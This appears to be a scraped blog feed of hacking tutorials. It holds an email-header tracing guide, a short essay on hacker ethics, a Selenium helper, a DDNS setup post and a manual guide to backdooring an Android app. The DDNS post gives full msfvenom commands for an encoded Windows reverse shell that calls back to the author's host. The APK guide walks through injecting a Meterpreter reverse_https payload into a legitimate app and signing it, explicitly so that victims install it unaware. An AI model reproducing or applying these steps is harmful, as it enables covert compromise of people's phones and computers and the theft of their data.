bGU9ImJvcmRlcjoxcHggc29saWQgI2NjYzsiICA+DQogICAgICAgPHRyICA+DQogICAgICAgICA8
dGQgc3R5bGU9InBhZGRpbmc6MHB4O21hcmdpbjozMnB4O21hcmdpbi1ib3R0b206MHB4OyIgYWxp
Z249ImxlZnQiPg0KICAgICAgICAgICAgPGltZyBzdHlsZT0ibWFyZ2luOjMycHg7bWFyZ2luLWJv
dHRvbTowcHgiIHNyYz0iaHR0cHM6Ly9hcGkuYXV0b2Rlc2suY29tL2NvbnRlbnQvaWRlbnRpdHkv
MS4wLjIxMTguMzg4MTU5LjEwMjMvei9Db250ZW50L2ltYWdlcy9sYXlvdXQvYXV0b2Rlc2stZW1h
aWwtbG9nby5wbmciIGFsdD0iQXV0b2Rlc2siLz4NCiAgICAgICAgIDwvdGQ+DQogICAgICA8L3Ry
Pg0KICAgICAgPHRyID4NCiAgICAgICAgPHRkIHN0eWxlPSJwYWRkaW5nOjMycHg7Ij4NCiAgICAg
ICAgICA8dGFibGUgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIHdp
ZHRoPSIxMDAlIiBzdHlsZT0id2lkdGg6IDEwMCU7Ij4NCiAgICAgICAgICAgIDx0ciBzdHlsZT0i
bWFyZ2luOjMycHg7bWFyZ2luLWxlZnQ6MHB4Ij4NCiAgICAgICAgICAgICAgPHRkPg0KCQkJICAg
IDx0YWJsZSBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgc3R5bGU9
ImZvbnQtZmFtaWx5OiAnT3BlbiBTYW5zJywnSGVsdmV0aWNhIE5ldWUnLCBIZWx2ZXRpY2EsQXJp
YWwsIFNhbnMtU2VyaWYiPg0KCQkJCSAgICA8dHI+DQoJCQkJCSAgICA8dGQgIHN0eWxlPSJmb250
LWZhbWlseTogJ09wZW4gU2FucycsJ0hlbHZldGljYSBOZXVlJywgSGVsdmV0aWNhLEFyaWFsLCBT
YW5zLVNlcmlmIj4NCgkJCQkgICAgICAgICAgICA8cCBzdHlsZT0iZm9udC1zaXplOiAyMnB4O21h
cmdpbjowcHg7cGFkZGluZzowcHg7Zm9udC13ZWlnaHQ6NDAwIj4NCgkJCQkgICAgICAgICAgICAg
SGkgU3VtaXQgR2hvc2gsDQoJCQkJICAgICAgICAgICAgPC9wPg0KCQkJCSAgICAgICAgICAgIDxw
IHN0eWxlPSJmb250LXNpemU6IDE0cHg7bWFyZ2luOjBweDtwYWRkaW5nOjBweDttYXJnaW4tdG9w
OjE2cHg7Zm9udC1mYW1pbHk6J09wZW4gU2FucycsJ0hlbHZldGljYSBOZXVlJywgSGVsdmV0aWNh
LGFyaWFsO2ZvbnQtd2VpZ2h0OjQwMDtsaW5lLWhlaWdodDoxLjYiPg0KCQkJCQkgICAgICAgICAg
IFdlbGNvbWUgdG8gQXV0b2Rlc2shDQoJCQkJICAgICAgICAgICAgPC9wPg0KCQkJCQkJCSA8cCBz
dHlsZT0iZm9udC1zaXplOiAxNHB4O2NvbG9yOiMzMzM7dGV4dC1kZWNvcmF0aW9uOm5vbmU7cGFk
ZGluZzowcHg7bWFyZ2luOjBweDtmb250LWZhbWlseTonT3BlbiBTYW5zJywnSGVsdmV0aWNhIE5l
dWUnLCBIZWx2ZXRpY2EsYXJpYWw7Zm9udC13ZWlnaHQ6NDAwO2xpbmUtaGVpZ2h0OjEuNiI+DQoJ
CQkJCSAgICAgICAgICAgUGxlYXNlIGNvbXBsZXRlIHlvdXIgYWNjb3VudCBieSB2ZXJpZnlpbmcg
eW91ciBlbWFpbCBhZGRyZXNzLg0KCQkJCSAgICAgICAgICAgIDwvcD4NCgkJCQkgICAgICAgICAg
ICA8cCA+DQoJCQkJCQkJICA8IS0tW2lmIG1zb10+DQoJCQkJCQkJICAgIDxwIHN0eWxlPSJtYXJn
aW4tdG9wOjE2cHg7bWFyZ2luLWJvdHRvbTozMnB4OyI+DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIDx2OnJvdW5kcmVjdCB4bWxuczp2PSJ1cm46c2NoZW1hcy1taWNyb3NvZnQt
Y29tOnZtbCIgeG1sbnM6dz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6d29yZCIg
aHJlZj0iaHR0cHM6Ly9hY2NvdW50cy5hdXRvZGVzay5jb206NDQzL3VzZXIvdmVyaWZ5ZW1haWwv
MzlkYzYwNjhiYTgwMzc2ZTVhY2ZhN2NiOWE3ZDUwZDM3MTM3NGMyMz9yZWZlcnJlcj1odHRwJTNB
JTJGJTJGd3d3LmF1dG9kZXNrLmNvbSUyRmVkdWNhdGlvbiUyRmZyZWUtc29mdHdhcmUlMkZpbnZl
bnRvci1wcm9mZXNzaW9uYWwmcHJvZHVjdG5hbWU9ZG90Y29tJnVpdHlwZT1lZHVjYXRpb24iIHN0
eWxlPSJoZWlnaHQ6NTBweDt3aWR0aDogMjAwcHg7di10ZXh0LWFuY2hvcjptaWRkbGU7d2lkdGg6
YXV0bzt0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyIgYXJjc2l6ZT0iMCUiICBzdHJva2U9ImYi
IGZpbGxjb2xvcj0iIzA2OTZENyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICA8dzphbmNob3Jsb2NrLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8
Y2VudGVyIHN0eWxlPSJjb2xvcjojZmZmZmZmO2ZvbnQtZmFtaWx5OidPcGVuIFNhbnMnLCdIZWx2
ZXRpY2EgTmV1ZScsIEhlbHZldGljYSxhcmlhbDtmb250LXNpemU6MTlweCI+DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWRVJJRlkgRU1BSUwNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIDwvdjpyb3VuZHJlY3Q+DQoJCQkJCQkJCSAgIDwvcD4NCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgPCFbZW5kaWZdLS0+DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIDwhW2lmICFtc29dPg0KCQkJCQkJCSAgICAgPHRhYmxlIGJvcmRlcj0iMCIgc3R5bGU9Im1h
cmdpbi10b3A6MzJweDttYXJnaW4tYm90dG9tOjQ4cHg7d2lkdGg6IDEwMCU7IiBjZWxsc3BhY2lu
Zz0iMCIgY2VsbHBhZGRpbmc9IjAiIHdpZHRoPSIxMDAlIiA+DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICA8dHIgPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgPHRkID4NCgkJCQkJCQkgICAgICAgICAgPHRhYmxlIGFsaWduPSJsZWZ0IiBzdHlsZT0idGV4
dC1hbGlnbjogY2VudGVyO3ZlcnRpY2FsLWFsaWduOmNlbnRlcjsgY29sb3I6ICNmZmY7IGRpc3Bs
YXk6IGJsb2NrOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgPGEgc3R5bGU9ImNvbG9yOiNmZmYgIWltcG9ydGFudDtwYWRkaW5n
OiAxNnB4O2hlaWdodDo1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwNjk2RDc7Zm9udC1zaXplOjE5
cHg7dGV4dC1kZWNvcmF0aW9uOm5vbmU7dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtmb250LWZh
bWlseTogJ09wZW4gU2FucycsJ0hlbHZldGljYSBOZXVlJywgSGVsdmV0aWNhLEFyaWFsLCBTYW5z
LVNlcmlmIiBocmVmPSJodHRwczovL2FjY291bnRzLmF1dG9kZXNrLmNvbTo0NDMvdXNlci92ZXJp
ZnllbWFpbC8zOWRjNjA2OGJhODAzNzZlNWFjZmE3Y2I5YTdkNTBkMzcxMzc0YzIzP3JlZmVycmVy
PWh0dHAlM0ElMkYlMkZ3d3cuYXV0b2Rlc2suY29tJTJGZWR1Y2F0aW9uJTJGZnJlZS1zb2Z0d2Fy
ZSUyRmludmVudG9yLXByb2Zlc3Npb25hbCZwcm9kdWN0bmFtZT1kb3Rjb20mdWl0eXBlPWVkdWNh
dGlvbiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWRVJJRlkgRU1B
SUwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4NCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KCQkJCQkJCSAg
ICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICA8IVtlbmRpZl0+DQoJCQkJCQkgICA8L3A+DQoJCQkJICAgICAgICAgICANCgkJCQkgICAgICAg
ICAgICA8cCBzdHlsZT0id29yZC13cmFwOmJyZWFrLXdvcmQ7IGRpc3BsYXk6IGJsb2NrO2ZvbnQt
c2l6ZTogMTJweDtmb250LWZhbWlseTogJ09wZW4gU2FucycsJ0hlbHZldGljYSBOZXVlJywgSGVs
dmV0aWNhLEFyaWFsLCBTYW5zLVNlcmlmO2ZvbnQtd2VpZ2h0OjQwMDtsaW5lLWhlaWdodDoxLjYi
Pg0KCQkJCQkgICAgICAgICAgICBJZiB0aGUgbGluayBhYm92ZSBkb2Vzbid0IHdvcmssIHlvdSBj
YW4gY29weSBhbmQgcGFzdGUgdGhlIGZvbGxvd2luZyBpbnRvIHlvdXIgYnJvd3Nlcjo8YnIvPg0K
CQkJCQkgICAgICAgICAgICBodHRwczovL2FjY291bnRzLmF1dG9kZXNrLmNvbTo0NDMvdXNlci92
ZXJpZnllbWFpbC8zOWRjNjA2OGJhODAzNzZlNWFjZmE3Y2I5YTdkNTBkMzcxMzc0YzIzP3JlZmVy
cmVyPWh0dHAlM0ElMkYlMkZ3d3cuYXV0b2Rlc2suY29tJTJGZWR1Y2F0aW9uJTJGZnJlZS1zb2Z0
d2FyZSUyRmludmVudG9yLXByb2Zlc3Npb25hbCZwcm9kdWN0bmFtZT1kb3Rjb20mdWl0eXBlPWVk
dWNhdGlvbg0KCQkJCSAgICAgICAgICAgIDwvcD4NCiAgICAJCQkgICAgICAgIDwvdGQ+DQogICAg
ICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgIDwvdGFibGU+DQogICAg
ICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDwvdGFibGU+DQog
ICAgICAgIDwvdGQ+DQoJPC90cj4NCiAgICA8L3RhYmxlPg0KCTx0YWJsZT4NCgk8dHI+DQogICAg
ICAgIDx0ZCBzdHlsZT0iY29sb3I6ICM5OTk7IGZvbnQtc2l6ZTogMTJweDsgZm9udC1mYW1pbHk6
J09wZW4gU2FucycsICdIZWx2ZXRpY2EgTmV1ZScsIEhlbHZldGljYSxBcmlhbCwgU2Fucy1TZXJp
Zjtmb250LXdlaWdodDo0MDA7bGluZS1oZWlnaHQ6MS42Ij4NCiAgICAgICAgPHAgc3R5bGU9Im1h
cmdpbi10b3A6IDE2cHg7IHBhZGRpbmctdG9wOiAwO21hcmdpbi1ib3R0b206MHB4Ij4NCiAgICAg
ICAgICAgICAgQXV0b2Rlc2sgcmVzcGVjdHMgeW91ciBwcml2YWN5LiAgRm9yIG1vcmUgaW5mb3Jt
YXRpb24sIHBsZWFzZSByZXZpZXcgb3VyIDxhIGhyZWY9Imh0dHA6Ly91c2EuYXV0b2Rlc2suY29t
L3ByaXZhY3kvIj5Qcml2YWN5IFBvbGljeTwvYT4uDQogICAgICAgPC9wPg0KCSAgIDxwICBzdHls
ZT0ibWFyZ2luLXRvcDogMDttYXJnaW4tYm90dG9tOiAwOyBwYWRkaW5nLXRvcDogMDtjb2xvcjog
Izk5OTsgZm9udC1zaXplOiAxMnB4OyBmb250LWZhbWlseTonT3BlbiBTYW5zJywgJ0hlbHZldGlj
YSBOZXVlJywgSGVsdmV0aWNhLEFyaWFsLCBTYW5zLVNlcmlmO2ZvbnQtd2VpZ2h0OjQwMDtsaW5l
LWhlaWdodDoxLjYiPg0KCSAgICA8cCBzdHlsZT0icGFkZGluZzogMDsgbWFyZ2luOiAwOyI+DQog
ICZjb3B5OyBDb3B5cmlnaHQgMjAxNiBBdXRvZGVzaywgSW5jLiBBbGwgcmlnaHRzIHJlc2VydmVk
Lg0KPC9wPgkgICA8L3A+DQogICAgICAgIDwvdGQ+DQogICAgICA8L3RyPg0KCTwvdGFibGU+DQog
IDwvYm9keT4NCjwvaHRtbD4=

The part before the first empty line is the header of this email, and after that the rest is body. Here you can see that the body part looks like some incomprehensible garbage, that’s because it is a MIME message, and the garbage part is actually HTML data encoded by Base64 encoding. You can decode it using any of the Base64 decoder found online and get the HTML data. Anyway, we are going to focus on the header part, because all other critical information resides in there, the body part contains just the message.

We can see the header part consists of header fields, each header field consisting of a field name and field value separated by a colon ‘:’. for example a header field of this email is —

Delivered-To: john.doe@gmail.com

Where ‘Delivered-To’ is the field name and ‘john.doe@gmail.com’ is the field value. Just to be clear, I replaced my original email ID with ‘john.doe@gmail.com’ here.

The header section can contain any number of information in this format, there is no restriction. So there can be different header fields in various emails. But there are certain fields that are mandatory, and those contain the information we need to trace the mail. You can read about various email header fields here on Wikipedia.

Tracing an Email

Now that we know the basics of the Internet Message Format, it’s time we dive into the fun stuff, tracing the email. For that, we need to concentrate on the Trace fields, so to speak. They contain the information needed to trace it, obviously. The trace fields are —

Received
Return-Path
Authentication-Results
Received-SPF
Auto-Submitted
VBR-Info

Among these, the Received field is the most important and most reliable. When an SMTP server receives a message it inserts this header at the top of the message. And as most emails go through several SMTP servers in the journey from the sender to receiver, it contains several Received fields, each one inserted by different SMTP servers. In the example email the Received fields are:

Received: by 10.200.55.226 with SMTP id e31csp1128773qtc;
        Tue, 18 Oct 2016 09:50:19 -0700 (PDT)
X-Received: by 10.107.131.213 with SMTP id n82mr2118112ioi.125.1476809419401;
        Tue, 18 Oct 2016 09:50:19 -0700 (PDT)
Received: from o6.em.email.accounts.autodesk.com (o6.em.email.accounts.autodesk.com. [167.89.4.107])
        by mx.google.com with ESMTPS id g126si21395826ioa.252.2016.10.18.09.50.19
        for
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 18 Oct 2016 09:50:19 -0700 (PDT)
Received: by filter0958p1mdw1.sendgrid.net with SMTP id filter0958p1mdw1.2775.580652C7AF
        2016-10-18 16:50:15.915852162 +0000 UTC
Received: from ECPRID2AWEB004 (ec2-52-4-196-162.compute-1.amazonaws.com [52.4.196.162]) by ismtpd0006p1iad1.sendgrid.net (SG) with ESMTP id aIawJW2DTFi0CgbichcKJg for ; Tue, 18 Oct 2016 16:50:15.917 +0000 (UTC)

As SMTP servers insert the Received field at the top of the email when they receive it, if we read them from top to bottom we can trace the path through the email has travelled. The field value of the Received header field generally contains the host name or IP address of itself and the host name or IP of the server from which it received the mail.

Another thing to note here, I’ve also listed the X-Received header field. Any field starting with X is a non-standard header and it cannot be trusted. It’s used by mail servers for their own benefit, generally a servers won’t trust X headers inserted by any other server. Anyway, I’ve still included this because it may give us some additional information, keeping in mind that it is not very reliable. So from the Received (and X-Received) fields of the example mail, we can trace the route of the mail, and it would look like this

ec2-52-4-196-162.compute-1.amazonaws.com [52.4.196.162]
ismtpd0006p1iad1.sendgrid.net
filter0958p1mdw1.sendgrid.net
o6.em.email.accounts.autodesk.com
mx.google.com
10.107.131.213
10.200.55.226

The email went through these servers in this order. So the mail server that actually sent the email is the first one, and if you were after that one for reasons, you can focus on that.

Automated Tracing

Although it’s good or maybe essential for a hacker to know how to manually trace an email, you don’t have to do it every time. There are many tools in the Internet that automate this process. You just have to paste the email header in those tools and they will trace the route of it. Just search email header analyser in Google and you’ll get a lot of tools like this. There’s one made by Google itself, you can get it here. Happy hacking!

Ethical Hacking and The Hacker Culture

Fri, 30 Dec 2016 18:30:00 GMT

Nowadays most of us have heard the term Ethical Hacker due to hacktivist groups like Anonymous gaining popularity in the media. But what exactly is Ethical Hacking? We have a general idea that it means hacking without any malicious intent, or more simply the kind of hacking the “good guys” do. But if we delve deeper, it means more than that, it represents a philosophy and morality popular among the hacker and hacktivist communities.

Definition

Formally Ethical Hacking may be defined as the practice of systematically attempting to break into or penetrate for the purpose of locating weaknesses and vulnerabilities of the computer system by duplicating the actions of malicious black-hat hackers. Actually, what I just said defines Penetration Testing, to be precise Ethical Hacking is a term coined by IBM meant to imply a broader category than just penetration testing. Ethical hackers do this penetration testing on the request of or by being employed by the owner of the computer system so that he can fix these weaknesses and make the system more secure.

Philosophy

Ethical hackers generally follow a set of moral values and philosophy. They promote sharing of knowledge, they believe that all information should be free. They also believe bureaucracies such as corporates are flawed systems, they promote decentralization so that may lead to freedom of information exchange. They say that hackers shouldn’t be judged by their age, race, or qualifications, they should only by judged by their hacking skill. A common value of community and collaboration is also present among the hackers.

I should emphasize that being an ethical hacker doesn’t necessarily mean having these qualities and following these moral values and philosophies. Hacker ethics are separate from just being a hacker. But these ethics are very popular among the general hacking community and so it may be considered as a trait of the community, maybe not of an individual hacker.

Before concluding I would like to share a small essay written by a hacker by the name (rather pseudo name) of ‘The Mentor’ shortly after being arrested. It’s called ‘The Hacker Manifesto’, and is considered one of the cornerstone of the hacker culture. You can find it here — http://www.phrack.org/issues/7/3.html

Starting Up Selenium Webdriver with Custom User-Agent and Profile in Python

Sat, 05 Mar 2016 18:30:00 GMT

I’ve been playing around with Selenium Webdriver in Python, and one of the most annoying thing I had to do again and again is looking up how to start a specific Webdriver with a custom user-agent or with a custom profile. So I decided to make this module which will take care of all the little inner workings involved while starting up a Webdriver.

The code is here.

You’ll just have to use the start_webdriver function, and it will do all the magic and return the required Webdriver.

Example Usage

import wdstart

driver = wdstart.start_webdriver(driver_name='Chrome', user_agent='Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19(KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19', profile_path='C:\\Users\\SkullTech\\AppData\\Local\\Google\\Chrome\\User Data')

Although in most cases you won’t have to worry about what’s happening under the hood—they are not at all important and can be found out with a simple Google search, but still if you want you can read the code thoroughly and use part of it in your code.

Please leave a comment if this helped you or you’ve faced any problem. Thanks.

Use DDNS to Deal With Your Dynamic Public IP

Sat, 05 Mar 2016 18:30:00 GMT

Many of us have an internet connection with a dynamic public IP. That poses some problems if you want to use that connection to host a website, or maybe for hackers like us, to hack using reverse connection payloads. I’m going to discuss in this post how you can overcome that using Dynamic DNS or DDNS. But I’m getting ahead of myself, so let me start by explaining what is public IP and what are some problems you can encounter if you have a dynamic one.

Understanding Dynamic Public IP Address

Public IP is the IP that’s visible to machines outside your local network. For example, if two or more machines are connected through a router—maybe through Wi-Fi—to the internet, then the machines are in a local network, as well as both of them are connected to the Internet. Each of them has a locally unique private IP address, not globally. For connecting to the Internet they use the router’s public IP.

IP addresses can be static or dynamic. Most of the ISPs provide dynamic public IP, that means it changes from time to time, contrary to the static one, which remains fixed. You can check what’s your public IP by googling “What is my IP”, Google will tell you.

Having a dynamic IP address is a hindrance to hacking using reverse connection payloads. Reverse connection payloads, such as android/meterpreter/reverse_tcp, store the host IP address, i.e. the IP address of the attacker machine. When it gets executed, it connects back to the host machine by the reference of that host IP. But as dynamic IP keeps changing from time to time, you won’t be able to use a payload for a long time because after some time the IP stored inside it won’t point to your machine anymore. That’s a problem — a major one. This is where DDNS comes in.

Dynamic DNS aka DDNS to The Rescue

We all know what DNS or Domain Naming System is, it’s the system which binds an IP to a domain name. When you try to connect to a domain name, for example opening www.google.com on a browser, the request first goes to a DNS server, which resolves the domain name into an IP, and then the browser gets the Google homepage from that IP. Similarly you can get a domain name for your machine and put that domain name in the place of HOST IP address in your payload. But the problem of your IP being dynamic still remains.

Here DDNS comes to the rescue. DDNS servers update the DNS record of your machine continuously, so that even for dynamic IP machines the domain name resolves to the correct IP, always.

Setting up DDNS using No-IP

There are many DDNS providers, I’m going to use No-IP which is one of them.

Step 1: Creating a No-IP account

Head to https://www.noip.com and create a free account there.

Step 2: Adding a Hostname in No-IP

When you get to the dashboard, go to Dynamic DNS → Hostnames and add a hostname of your choice from there. You can also choose a domain name from a list there. The address you will get is hostname.domain. For example, I chose the default domain name—ddns.com—and the hostname I entered is skulltech. So the address I got is “skulltech.ddns.com”. Refer to the screenshots below for reference.

Step 3: Install the Dynamic DNS Update Client

Now you’ll need to install a program on your computer and set it up. So that it connects to No-IP server frequently and updates the DNS record. Download the update client from https://www.noip.com/download . It’s a tar.gz archive, extract it using the following command —

$ tar -xzvf noip-duc-linux.tar.gz

After that change working directory to the newly extracted folder and run the following command to install the No-IP client.

$ make install

After that the program will ask for your No-IP username and password.

Step 4: Configure the Client and Run It

Run the following command to launch the configuration wizard of the No-IP client. It will ask you for your credentials, as well as which hostnames you want to update. Select the hostname—or hostnames—that you want to associate with this computer in that step.

$ noip2 -C

When you are done with the configuration, just run noip2 in the terminal to start the client, it will run in the background and keep updating your DNS record.

$ noip2

Using DDNS Hostname in Payloads

You can create a basic reverse shell payload for windows and get a shell on a remote computer on running it in that computer. Refer to this tutorial by Offensive Security for that, I won’t be going into details how to do that. Assuming that you already know how to create these payloads using msfvenom—if you don’t check out this tutorial—I’ll show you how you can use your DDNS hostname there.

Generally we run a command like this to generate the payload. Here LHOST is the address of the our local machine, in the following example it’s 192.168.1.101.

$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.101 LPORT=3333 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/1.exe

Now that we have a DDNS hostname, pass that as LHOST to msfvenom instead of your IP. So now the command will be —

$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=skulltech.ddn.com LPORT=3333 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/1.exe

Feel free to leave a comment if you face any problem. Happy Hacking! :)

Embed a Metasploit Payload in an Original .apk File | Part 2 — Do it Manually

Fri, 18 Dec 2015 18:30:00 GMT

Metasploit’s flagship product, the Meterpreter, is very powerful and an all-purpose payload. Once installed on the victim machine, we can do whatever we want to their system by sending out commands to it. For example, we could grab sensitive data out of the compromised system.

The Meterpreter payload also comes as an installable .apk file for Android systems. Great! Now we can use Metasploit to compromise Android phones also. But if you have tried out these payloads you would know that they do not look convincing. No one in their right mind is going to install and run such an app, which apparently does nothing when it is opened. So how are we going to make the victim run the payload app in their phone?

One of the solutions is that you can embed the payload inside another legitimate app. The app will look and behave exactly as the original one, so the victim won’t even know that his system is compromised. That’s what we are going to do in this tutorial.

Note — This is a follow-up post of my previous post, in which I showed you how to do this using a very simple yet effective Ruby script. If you haven’t read it, check it out. If you are not willing to go down the hard path, you can use that method to do it just fine. But if you want to know the inner workings and have a greater knowledge, continue reading this post. And also, in the following android hacking tutorials, I may refer to this tutorial, so if you can take it, I suggest you to keep on reading.

Pre-Requisites

This tutorial is based on the Kali Linux operating system. I’m sure it can be done in other OS, especially Linux distros, but that will involve some more complications so I’m not going to cover those. If you are serious about hacking—or penetration testing, if you prefer—you should use Kali as it was built specifically for pen-testing.

We will also need some libraries and tools in the following steps, so I think it’s better if you install them right now.

To install the required libraries, enter this command at the console —

$ sudo apt-get install lib32stdc++6 lib32ncurses5 lib32z1

And to get the latest version of ApkTool, head over to this site and follow the installation instructions.

Also download the apk which you want to be backdoored from any source you like. Just do a google search “app_name apk download” and Google will come up with a lot of results. Save that apk in the root folder.

Brief Overview

Since this tutorial is a little bit long, I’m giving a brief overview of what we are going to do here,

Generate the Meterpreter payload.
Decompile the payload and the original apk.
Copy the payload files to the original apk.
Inject the hook into the appropriate activity of the original apk.
Inject the permissions in the AndroidManifest.xml file.
Recompile the original apk.
Sign the apk using Jarsigner.

That’s about it. I will also show you how can you get a working Meterpreter session using that backdoored apk, if you don’t know that already. So let’s get started.

Step 1: Generate the Payload

First of all, we have to make the Meterpreter payload. We are going to use MSFVenom for this. The command is —

$ msfvenom -p android/meterpreter/payload_type LHOST=ip_address LPORT=incoming_port -o meterpreter.apk

Replace payload_type by any of the following payloads available. The function of all these payloads are same, essentially they are all Meterpreter payloads, the difference is only in the method they use to connect to your Kali system. The available payload_types are

reverse_tcp
reverse_http
reverse_https

You can use any one you like, I’m going to use reverse_https as an example.

Replace ip_address by the IP address to which the payload is going to connect back to, i.e. the IP address of the attacker’s system. If you are going to perform this attack over a local network (eg. if the victim and attacker are connected to the same Wi-Fi hotspot), your Local IP will suffice. To know what your local IP is, run the command —

$ ifconfig

If you are going to perform this attack over the Internet, you have to use your public IP address, and configure your router properly—set up port forwarding—so that your system is accessible from the Internet. To know your public IP, just google “My IP” and Google will help you out.

Replace incoming_port with the port no. which you want to be used by the payload to connect to your system. This can be any valid port except the reserved ones like port 80 (HTTP). I’m going to use 4895 as an example.

So run the command using replacing the keywords with appropriate values and MSFVenom will generate a payload meterpreter.apk in the root directory. Note that we specified the output file name using the -o meterpreter.apk argument in the command, so if you like, you can name it anything else also.

Step 2: Decompile the APKs

Now we have to decompile the APKs, for this we are going to use ApkTool. It decompiles the code to a fairly human-readable format and saves it in .smali files, and also successfully extracts the .xml files. Assuming you have already installed the latest apktool and also have the original apk file in the root directory, run the following commands —

$ apktool d -f -o payload /root/meterpreter.apk
$ apktool d -f -o original /root/original_apk_name

It will decompile the payload to /root/payload and the original apk to /root/original directory.

Step 3: Copy the Payload Files

Now we have to copy the payload files to the original app’s folder. Just go to /root/payload/smali/com/metasploit/stage and copy all the .smali files whose file name contains the word payload. Now paste them in /root/original/smali/com/metasploit/stage. Note that this folder does not exists, so you have to create it.

Step 4: Inject the Hook in the Original .SMALI Code

In the previous step, we just copied the payload codes inside the original apk, so that when the original apk is recompiled, it will contain the payload. But that doesn’t necessarily mean that the payload will run. To ensure that the payload runs, we have to inject a hook in the original apk’s .smali code. If you are wondering what is this hook thingy I’m talking about, well essentially it’s a code which intercepts some specific function call and reacts to it. In this case, we are going to place the hook so that when the app is launched, it will also launch the payload with it.

For this, firstly we have to find out which activity (to put it simply, activities are sections of code, it’s similar to frames in windows programming) is run when the app is launched. We can get this info from the AndroidManifest.xml file.

So open up the AndroidManifest.xml file located inside the /root/original folder using any text editor. If you know HTML, then this file will look familiar to you. Both of them are essentially Markup Languages, and both use the familiar tags and attributes structure, e.g. <tag attribute="value">Content</tag>. Anyway, look for an <activity> tag which contains both the lines

<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>

On a side note, you can use CTRL+F to search within the document in any GUI text editor. When you locate that activity, note its android:name attribute’s value. In my case, as you can see from the screenshot below, it is com.piriform.ccleaner.ui.activity.MainActivity.

Those two lines we searched for signifies that this is the activity which is going to start when we launch the app from the launcher icon, and also this is a MAIN activity (similar to the main function in traditional programming).

Now that we have the name of the activity we want to inject the hook into, let’s get to it! First of all, open the .smali code of that activity using gedit. Just open a terminal and type —

$ gedit /root/original/smali/activity_path

Replace the activity_path with the activity’s android:name, but instead of the dots, type slash. Actually the smali codes are stored in folders named in the format the android:name is in, so we can easily get the location of the .smali code in the way we did. Check the screenshot below and you will get an idea of what I’m trying to say.

Now search for the following line in the smali code (using CTRL+F) —

;->onCreate(Landroid/os/Bundle;)V

When you locate it, paste the following code in the line next to it —

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

What we are doing here is, inserting a code which starts the payload alongside the existing code which is executed when the activity starts. Now, save the edited smali file.

Step 5: Inject The Necessary Permissions

From developer.android.com —

Additional finer-grained security features are provided through a “permission” mechanism that enforces restrictions on the specific operations that a particular process can perform.

If we do not mention all the additional permissions that our payload is going to need, it cannot function properly. While installing an app, these permissions are shown to the user. But most of the users don’t care to read all those boring texts, so we do not have to worry about that much.

These permissions are also listed in the previously encountered AndroidManifest file. So let’s open the AndroidManifest.xml of both the original app and the payload from the respective folders. The permissions are mentioned inside <uses-permission> tag as an attribute android:name. Copy the additional permission lines from the Payload’s AndroidManifest to the original app’s one. But be careful that there should not be any duplicate.

Here’s my original app’s AndroidManifest before editing —

After adding the additional ones from the Payload’s AndroidManifest, my /root/original/AndroidManifest.xml looks like this —

Step 6: Recompile The Original APK

Now the hard parts are all done! We just have to recompile the backdoored app into an installable apk. Run the following command —

$ apktool b /root/original

You will now have the compiled apk inside the /root/original/dist directory. But, we’re still not done yet.

Step 7: Sign The APK

This is also a very important step, as in most of the cases, an unsigned apk cannot be installed. From developer.android.com —

Android requires that all apps be digitally signed with a certificate before they can be installed. Android uses this certificate to identify the author of an app, and the certificate does not need to be signed by a certificate authority. Android apps often use self-signed certificates. The app developer holds the certificate’s private key.

In this case we are going to sign the apk using the default android debug key. Just run the following command

$ jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA apk_path androiddebugkey

Be sure to replace the apk_path in the above command with the path to your backdoored apk file.

PROFIT?!

Now if you can get the victim to install and run this very legit-looking app in his phone, you can get a working Meterpreter session on his phone!

